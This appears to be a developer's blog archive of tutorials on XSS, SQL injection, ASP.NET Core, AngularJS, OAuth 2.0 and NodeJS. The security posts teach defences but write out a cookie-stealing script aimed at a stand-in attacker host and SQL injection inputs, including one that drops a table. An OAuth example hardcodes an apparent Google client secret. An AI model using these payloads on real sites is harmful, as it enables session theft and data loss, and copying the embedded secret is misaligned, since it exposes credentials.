Nov 18, 2016

Cross site scripting


Cross-site scripting (XSS) enables attackers to inject client-side scripts into web pages. If its not prevented, this may lead to compromise of end users cookie. Let's take an example where an user input (either through query string or form input) is displayed on the browser without encoding it and user enters following to the input field
<script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>

This will result in transmitting user's cookie to myevilsite and hence myevilsite can access application using user's authenticated cookie.

Asp.net mvc framework has build in feature to deal with this issue

  • It uses ValidateInput filter to validate user's input and throws HttpRequestValidationException for malicious input. By default this is always applied to all actions, in which case any HTML markup or JavaScript code in the body, header, query string, or cookies which not be allowed in the request. In case you have a requirement to turn it off as you expect HTML markup or JS code in the request then you can turn it off by decorating your controller action by ValidateInput(false)] 
  • By default asp.net mvc razor syntax are automatically HTML encoded, this will mean by any chance your server side code is trying to output markup (like <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>), it will html encode when using with @ and hence it will be displayed to user as is which is <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>. This protects from the scenario where somehow you have html markup or javascript in you db or by user input if validation is turned off. In case you have a requirement to show markup as is then you can user extension method @Html.Raw.
  • When you tag a cookie as HttpOnly, it tells the browser that it can only be accessed by server and hence you cannot access this in javascript by document.cookie property. Form authentication which uses cookie ASPXAUTH is http only cookie and hence you cannot access that in java script.
  • You can use X-Xss-Protection header to configure the built in reflective XSS protection found in Internet Explorer, Chrome and Safari.
               X-XSS-Protection: 1; mode=block

Nov 12, 2016

SQL Injection

SQL injection is a way of injecting partial or complete sql query via data input from client to the server. Consider following web application
http://www.sqlinjestiondemo.com/customer?id=1

and now consider following server side code written to serve this request
userId = get id from user input, in this case query string
query = "select * from customer where id = " + userId

In the above scenario user can change input like 1 or 1=1 that will run following query, which will return all the customers from the dB, which is not what the intention was
select * from customer where id = 1 or 1=1

Lets take another example, if you change input to "1 ; drop table customer--" this will run following query which can drop the table
select * from customer where id = 1 ; drop table customer--

Following can be done to minimize chances of sql injection
  • Avoid concatenation of user input to partial query as we were doing in the above case. You can parametrize the query or use sproc or use ORM which internally parametrize the query 
  • User input which can come from query string, post via form, cookies, request header is untrusted data. It should be validated while processing them.
    • do a proper type conversion. getting away from string minimizes a lot of risk
    • use regular expression to validate string
    • list of known good values, like countries,state etc
  • Do not send sql exception to the client. This can expose dB info, for example table name, which can then be compromised by sql injecti
  • Make sure you give only necessary permission to the a/c under which sql is executed. 
There are tools available to test sql injection flaw in your application.

Nov 10, 2016

Quick look at .NET Core 5


ASP.NET Core is a cross-platform open source framework for building web application

program.cs
This has public Main() function, just like you have in console application.

startup.cs
This has configure method which can be used to configure HTTP request pipeline. You write your application middleware (term commonly used in nodeJS) here in this method, for example you can use "UseMvc" extension method to set MVF as the default handler. The startup class  also has ConfigureServices which is used for dependency injection.

wwwroot
wwwroot is the directory in your project for static resources like css,js and image files. The static file middleware (UseStaticFiles) will only server files from wwwroot directory.

Exception Handline
For exception handling you can use UseDeveloperExceptionPage just for the developer environment, which will give detail call stack for troubleshooting.

Configuration
ASP.NET Core supports configuring application using JSON,XML, INI or even environment variable. You can create configuration builder with multiple sources. This way you can have configuration coming from different sources as well as configuration can be overwritten for different source..

var builder = new ConfigurationBuilder()
                .SetBasePath(env.ContentRootPath)
                .AddJsonFile("appsettings.json", optional: true, reloadOnChange: true)
.AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true)
                .AddEnvironmentVariables();

project.json
The project.json file is used on .NET Core projects to define project metadata, compilation information, and dependencies.

New Features

Tag Helper Tag Helpers are a new feature in MVC that you can use for generating HTML. The syntax looks like HTML (elements and attributes) but is processed by Razor on the server. 

Controller With MVC6, both mvf and web api controller use the same base class. 

Gulp,Grunt,Bower and npm Support for VS





Mar 28, 2016

angularjs - Directive

Directive gives html new functionality. Angular parses html, it looks for directives and take action. for example for ngClick it will register click event on that dom object. There are four way to write directive and not all directive support all four way
<ng-form/>  tag
<div ng-click> attribute
<div class="ng-form"/> class
html comment

Event Directive
These respond to the specific event and let you call a method on your scope.
ngClick
ngDblClick
ngMousedown
ngMouseenter
ngMousemove
ngMouseover
ngMouseup
ngChange require ng-model to be present

OtherDirective
ngApp = designates the root element of the application
ngBind
ngBindTemplate - can use template and use multiple items
ngBindHtml - depends on ngSanitize module, may remove anything unsafe
ngBindHtmlUnsafe -
ngHide
ngShow
ngCloak - It will hide html element until angular processes all the directives and document is ready to be displayed. It is specially helpful on slow m/c. This avoid flash of unbound html. Look for css rule from the documentation
ngStyle
ngClass
ngClassEven repeat directive
ngClassOld

Thease are specially helpful in case browser doesn't it
ngDisabled
ngChecked
ngMultiple
ngReadonly
ngSelect

ngForm - It allow nested form
ngSubmit
ngHref - This will be used with anchor tag, it will not add this attribute to the element until angular has chance to process it.
ngScr - this allows to bind an image source. This delays binding untile angular replaces source of the image
ngNonBindable - angular doesn't parse text in that


Expression
Angular expressions are JavaScript-like code snippets which you can add to html. For example {{2*2}} will get display as 4. It doesn't support all javascript syntax

Filters
Filters are used to modify Output before it's rendered by the browser. Its used for formatting, Sorting dataset and Filtering dataset.

{{ expressiob | filter }}

uppercase
lowercase
number {{123.123 | number : 2}}
currency {{123.123 | currency}}
date {{<JS date> | date: 'mediumDate'}}
json can be used to print json object
orderBy used with ng-repeat
ng-repeat="employee in oemployees | orderBy:name"
limitTo
filter
ng-repeat="employee in oemployees | orderBy:name |limitTo: 3 | filter: {claim: {patientAccountNumber: ''}}"

Validation
You can use build in directive (ng-required="true" ng-pattern="onlyNumbers") to do validations. There are few form properties which you can use for styling example - Dirty, invalid, Pristine (exact opposite of dirty), valid (which is the exact opposite of invalid). Angular sets css class on input field to indicate what state those fields are.



Dec 18, 2015

OAuth 2.0

OAuth 2.0 let client application access user's protected resources without resource owner sharing their credentials with the client application. Instead of using resource owner's credential, client application obtains access token which has specific scope and lifetime and use that to access protected resource.

O-Auth is about delegated authorization, meaning you want to authorize a client (which is a piece of software) to access your resources on your behalf. Its the combination of resource owner and client that make up the resultant access token.

OAuth takes multiple client architecture into account and also each client can have varying level of trust.

The “authorization” of the client by the Resource Owner is really consent. This consent may be enough for the user, but not enough for the API. The API is the one that’s actually authorizing the request. It probably takes into account the rights granted to the client by the Resource Owner, but that consent, in and of its self, is not authorization. So oAuth is for delegated access not for authorization, not for authentication and also not for federation. Refer this for more on authentication.

In movie "Ferris Bueller's Day Off" Ferris and his friend take day off and steal his dad's Ferrari and went to the mall and handed over car key to the guy for valet parking. Rather than parking the car this guy made a little road trip, which obviously was not the intention. This he could do because he had the master key, had that been valet parking key (may be that option was not there back than), he could not have taken Ferrari for the ride. So now take this analogy for oAuth, Ferris is the resource owner, Ferrari is the resource, valet parking guy is client and valet parking key is the token.

In a typical entreprize application you have a trusted client, which mean client, resource server and authorization server are build by the same company/party, so it may be ok (though here also you have to be careful) to have trust level between client and the resource server. But the moment you move your client outside the trust zone, you start thinking to do you manage access control between resource server and client.



OAuth Flows

  • Authorization Code Flow
    • Designed for server rendered application, client store secret securely on server. 
    • Resource owner get authorization
    • Client (server side) get access token. This is never visible to the browser.
    • Client access resource
  • Implicit Flow
    • Resource owner get authorization and access token
    • Client Access resource
  • Resource owner password credential flow
    • Trusted client, resource owner credential is exposed to the client
    • client gets token using resource owner credential
    • Access resource
  • Client credential flow
    • client get access token using client credential. no resource owner
    • access resource
Authorization Code
The authorization code used in auth code flow, provides an important security benefits. This is issued after resource owner is authenticated and access token is directly transmitted to the client without passing it to the resource owner's user-agent. This must expire shortly after it is issued (usually 10 min), and it should not be used more than once.

Access Token
Client access protected resource by sending access token to the resource server. Resource server validates access token and its scope covers protected resource. It depend on resource server how it validates the access token. Usually its done in following two ways
  • By value: In this case access token can be JWT, which may have user information, issuer information. This way access token is self-contained, so resource server can verify the access token and use the associated content without having to go back to the Authorization Server. That is a great property but makes revocation harder. 
  • By reference: In this case access token doesn't contain user info, so in this case resource server will talk to the authorization server in order to get user information against access token.
Refresh Token
A token that may be used to obtain a new access token. Refresh tokens are valid until user revokes access. The idea of refresh tokens is that if an access token is compromised, because it is short-lived, the attacker has a limited window to abuse it. Refresh tokens, if compromised, are useless because the attacker requires the client id and secret in addition to the refresh token in order to gain an access token.

Profiles of Token
  • Bearer Token
  • HoK Token
Concerns 
Eran Hammer lead editor left the committee. He raised lot of concerns some of which are
  • The framework (its no longer specification) has lot of variations, If you go through the specification it has lot of "may be implemented" phrase. So basically you use this framework to come up with your own protocol which satisfies your requirement.
  • If bearer token is stolen anyone can use that to gain access to the resource. There may be scenarios where ssl is not established end to end.
  • Security Theater, Client application can spoof authorization server login screen.
  • Attack surface, User may manipulate redirect url, scope and response type as those comes in query string. So authorization server may need to do proper validation around those input value. There were few hack around this with facebook.
https://www.tbray.org/ongoing/When/201x/2013/01/23/OAuth

Dec 13, 2015

OAuth 2.0 Authorization Code Grant

OAuth let client application access user's protected resources without resource owner sharing their credentials with the client application. Instead of using resource owner's credential, client application obtains access token which has specific scope and lifetime and use that to access protected resource. Following steps are involved in auth code grant type.

Step1

The client initiates the flow by directing the resource owner's user-agent to the authorization endpoint.  The client constructs the request URI by adding the following parameters to the query component of the authorization endpoint URI
  • client_id  (required)- authorization server issue the registered client
  • response_type (required) - for this case it will be code
  • redirect_uri (optional) - to which the authorization server will send the user-agent back once access is granted or denied, this should be same as what is registered by the client
  • scope (optional)- scope of access request
  • state (optional)- An opaque value used by the client to maintain state between the request callback.
Following is an example of such uri 

https://accounts.google.com/o/oauth2/auth?
scope=https://www.googleapis.com/auth/userinfo.profile&
response_type=code&
redirect_uri=http://localhost:3000/auth/google/callback&
client_id=clientid from google developer
You can use passport-google-oauth npm package and use following code in order to achieve this.

 
 passport.use(new googleStrategy({
            clientID: "1071015616274-as07l0j0iuhpnll3o5auakjbssc3brl7.apps.googleusercontent.com",
            clientSecret: 'O7HoSqMNZD7gkitrSzAUWLpv',
            callbackURL: "http://localhost:3000/auth/google/callback"
        }, function (req, accessToken, refreshToken, profile, done) {
            done(null, profile);
        }));

 app.get('/auth/google',
            passport.authenticate('google', {
                scope: ['https://www.googleapis.com/auth/userinfo.profile', 'https://www.googleapis.com/auth/userinfo.email']
            }));

if you are using passport-google-oauth, refer following where this redirect happens
node_modules\passport-google-oauth\node_modules\passport-oauth\node_modules\passport-oauth2\lib\strategy.js

Step 2

Authorization server authenticate resource owner and resource owner authorizes client application to access its resource. User never share its credential with the client application.

Step 3

If the resource owner grant access, the authorization service redirects the user back to your site with an auth code

http://localhost:3000/auth/google/callback?code=xxxxx

Step 4

Client application make a request to authorization server's token endpoint by sending auth code (received in the previous step)

Request looks something like this
POST https://accounts.google.com/o/oauth2/token
grant_type=authorization_code&
redirect_uri=http://localhost:3000/auth/google/callback& (same as what was sent in authorization request)
client_id=xxx& (secret issued to client during registration process)
client_secret=xxx& (secret issued to client during registration process, this is never visible to user agent)
code=xxx (code which was received in earlier step)
Response may look like

{
"access_token" : "xxx",
"token_type" : "Bearer",
"expires_in" : 3431,
"id_token" : "xxxx"
}

If you are using passport-google-oauth npm package, this call happens in the module OAuth2 (node_modules\passport-google-oauth\node_modules\passport-oauth\node_modules\passport-oauth2\node_modules\oauth\lib\oauth2.js). It then pass

Client application use access token from here on to access user's protected resource


Dec 4, 2015

NodeJS quick guide for beginner

NodeJS is a platform which encourages good software practices out of the box like async and IOC. NodeJS is async by nature. This can be achieved in Asp.Net MVC but that's not default behavior. NodeJS (and express) support middleware similar to pipeline/filters in asp. For someone coming from .Net background here is a quick way to correlate node with .Net.

IIS - Node.exe
C# - JavaScript
ASP.NET MVC Razor-Express Vash
ASP.NET Web API - Express
SignalR - WebSockets

There are number of IDE available for node development, one of which is open source plugin for visual studio. This may be more comfortable for someone coming from .Net background. Refer following for more details on this
       https://github.com/Microsoft/nodejstools

NodeJS is executed under google v8 engine. V8 compiles JavaScript source code directly into machine code when it is first executed.

Module
A module encapsulates related code into a single unit of code. In Node.js, files and modules are in one-to-one correspondence. As an example, following code loads the module controller.js
 
 var controller = require("./controller");

In the above code require("./controller") returns an object which represent (modular) code encapsulated in controller.js (or controller\index.js). Each file (module) has access to module.exports object. You can assign properties to this object which require will return. So the content of controller.js could be
 
 module.exports.myFirstName = "rahul";
 module.exports.myLastName = "raj";
 module.exports.myName = {lastName : "rahul"}

You can access this like.
 
 var controller = require("./controller");
 console.log(controller.myFirstName);

In this case code in controller.js is executed only once when you do require("./controller.js"). The other way is to assign export object as a function
 
 module.exports = function () {
  return "my first name is rahul";
 };

This can be referenced and executed as following. In this example every time you execute controller(), that function will be called.
 
 var controller = require("./controller");
 console.log(controller());

You can also assign constructor method to the export object
 
 module.exports = function () {
  this.myFirstName = "rahul";
  this.myLastName = "raj";
 };

In this case you can use it like this in app.js
 
 var controller = require("./controller");
 var control = new controller();
 console.log(control.myFirstName);

One of my favourite way is to use self executing anonymous function
 
 (function (controller){
  controller.init = function () {
   return "my first name is rahul";
  };
 })(module.exports);

This way we are passing in module.exports as controller. So now inside the anonymous function you can use controller to add any property bag. You may also want to have index.js in every folder and have all your module referenced in index.js, so anyone outside that folder (set of module) just reference index.js.

Express
Express is a routing and middleware web framework that has minimal functionality of its own: An Express application is essentially a series of middleware function calls.Middleware functions are functions that have access to the request object (req), the response object (res), and the next middleware function in the application’s request-response cycle.
 
 var express = require("express");
 var app = express();

Bind application-level middleware to an instance of the app object by using the app.use() and app.METHOD() functions, where METHOD is the HTTP method of the request that the middleware function handles (such as GET, PUT, or POST) in lowercase.
 
 app.get("/create", function (req, res, next)

Define error-handling middleware functions in the same way as other middleware functions, except with four arguments instead of three, specifically with the signature (err, req, res, next)): For static file to be accessible from browser you need to set static resource folder. This is build-in middleware
 
 app.use(express.static(__dirname + "/public"));  //__dirname is the rooth directory name of the application

The other common middlewares are following. These are third-party middleware
 
 app.use(bodyParser.urlencoded({ extended: false }));
 app.use(bodyParser.json()); // parse application/json
 app.use(expressValidator());
 app.use(session({...}));
 app.use(flash());

Refer following for more details on using express middleware
http://expressjs.com/en/guide/using-middleware.html

For using template engines with Express you need to set following
 
 app.set("view engine", "vash");

Grunt
Its a javascript task runner. The less work you have to do when performing repetitive tasks like minification, compilation, unit testing, linting, etc, the easier your job becomes.

npm install grunt-cli -g

It looks for gruntfile.js file in the root folder where nodejs is running. this will not be used during run time, its purely development asset. Few of the grunt plugin which i recently used are
grunt-nodemon
grunt-mocha-test
grunt-contrib-watch
grunt-jsbeautifier

Bower 
Bower is optimized for the front-end. Bower uses a flat dependency tree, requiring only one version for each package, reducing page load to a minimum.

Npm
It is much harder to avoid dependency conflicts without nesting dependencies. This is fundamental to the way that npm works, and has proven to be an extremely successful approach.

Mocha, Chai, Sinon
Mocha sets up and describes test suites and Chai provides convenient helpers to perform all kinds of assertions against your JavaScript code. Sinon is a great JavaScript library for stubbing and mocking such external dependencies and to keep control on side effects against them. run test in all the files which are in test folder by adding chai.should(), all javascript object get property should